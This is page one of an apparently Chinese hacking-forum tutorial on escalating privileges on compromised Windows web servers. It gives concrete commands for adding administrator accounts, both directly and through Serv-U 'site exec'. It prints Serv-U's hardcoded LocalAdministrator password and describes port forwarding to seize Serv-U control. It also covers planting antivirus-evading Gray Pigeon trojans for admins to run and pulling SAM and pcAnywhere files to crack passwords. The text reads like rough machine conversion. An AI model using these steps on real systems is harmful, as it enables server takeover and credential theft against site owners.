教你高效率提权[网络技术]

 
 
 
提权效率也很重要,教你若何提高:
　　一:检测一下网站的服务器能否开了 3389 远程终端

　　二:检测一下服务能否用了serv-u (还有是什么版本的)

　　办法

　　一:复制一个网站 用 3389 登陆器衔接一下 (能否成功)能衔接了,拿下服务器的机率,提高 30%了

　　二:用ftp情势查下一个服务器的版本

　　开始 -- 运行 -- cmd -- ftp (加你要登陆的网站)

　　--------------------------------------------------------------------------------

　　第一步:最简单的办法

　　看有没有权限,能不能履行号令,行的话直接传个鸽子(随便什么远程掌握木马都行,成功率极低.

　　--------------------------------------------------------------------------------

　　第二步::探求有履行的权限目录

　　c:\\\\winnt\\\\system32\\\\inetsrv\\\\data\\\\

　　c:\\\\Documents And Settings\\\\All Users\\\\

　　c:\\\\Program Files\\\\serv-u\\\\

　　C:\\\\Program Files\\\\Microsoft SQL Server\\\\

　　这样的目录可以直接上传鸽子,运行

　　-----------------------------------------------------------------------------------

　　第三步:传个cmd和开帐号的ftp.exe上去直接加帐号,号令就是你上传目录D:\\\\VMware Workstation\\\\cmd.exe \\"net user love love /add\\"

　　-----------------------------------------------------------------------------------

　　第四步:asp提权木马直接提权

　　serv-u 6.3 版本 好象用asp提权木马(不成功)

　　serv-u 6.2 版本 好象可以

　　不过提权能不能用asp木马还要看服务器,设置的变态不,假定直接用asp提权成功之后,还是不成功,但是可以在 cmd之下 用这个帐号衔接一下ftp (加你提权的网站)

　　帐号:LocalAdministrator 密码:$ak#.1k;0@p\\"〉#1@$ak#.1k;0@p

　　假如成功衔接后便可以直接增添管理员帐号了

　　号令:quote site exec (你增添的帐号) net user 123 123 /ad

　　quote site exec (把帐号晋升到最高权限) net localgroup administartors 123 /add

　　---------------------------------------------------------------------------------------

　　第五步:pcaanywhere

　　C:\\\\Documents And Settings\\\\All Users\\\\Application Data\\\\Symantec\\\\pcAnywhere\\\\

　　这里下他的GIF文件,在本地安装pcanywhere上去

　　---------------------------------------------------------------------------------------

　　第六步:serv-u覆盖提权

　　本地安装个su,将你自己的ServUDaemon.ini文件用从他那下载下来的ServUDaemon.ini

　　网上很多教程

　　----------------------------------------------------------------------------------------

　　第七步:Serv-U转发端口

　　给Latte加盐 曾经做个一个(serv-u经典提权全套教程)用到过这个办法,可以学习一下

　　上传个端口转发工具

　　号令:(工具名)–v –l 3333 –r 43958 127.0.0.1

　　意思是将3333端口映射到43958端口上. 然后便可以在本地安装一个Serv-u,新建一个服务器,IP填对方IP,帐号为LocalAdministrator 密码为$ak#.1k;0@p\\"〉#1@$ak#.1k;0@p

　　衔接上后你便可以管理他的Serv-u了

　　-----------------------------------------------------------------------------------------

　　第八步:社会工程学之晋升提权

　　把灰鸽子传到上面,然后转移到c盘,就等着管理员运行了,前提你的鸽子必须免杀让我看到一个不清楚的exe程序,老想点开看看,呵呵(办法对比笨)

　　C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere 看可否跳转到这个目录,假如行那就最好了,直接下它的CIF文件,得到pcAnywhere密码,登陆

　　C:\WINNT\system32\config进这里下它的SAM,破解用户的密码

　　c:\winnt\repaire 下是备份用到破解sam密码的软件有LC,SAMinside

　　C:\Documents and Settings\All Users\「开始」菜单\程序\

　　看这里能不能跳转,我们从这里可以获得好多有效的信息比方Serv-U的途径,

[1] [2] [3] [4] [5] [6] [7]  下一页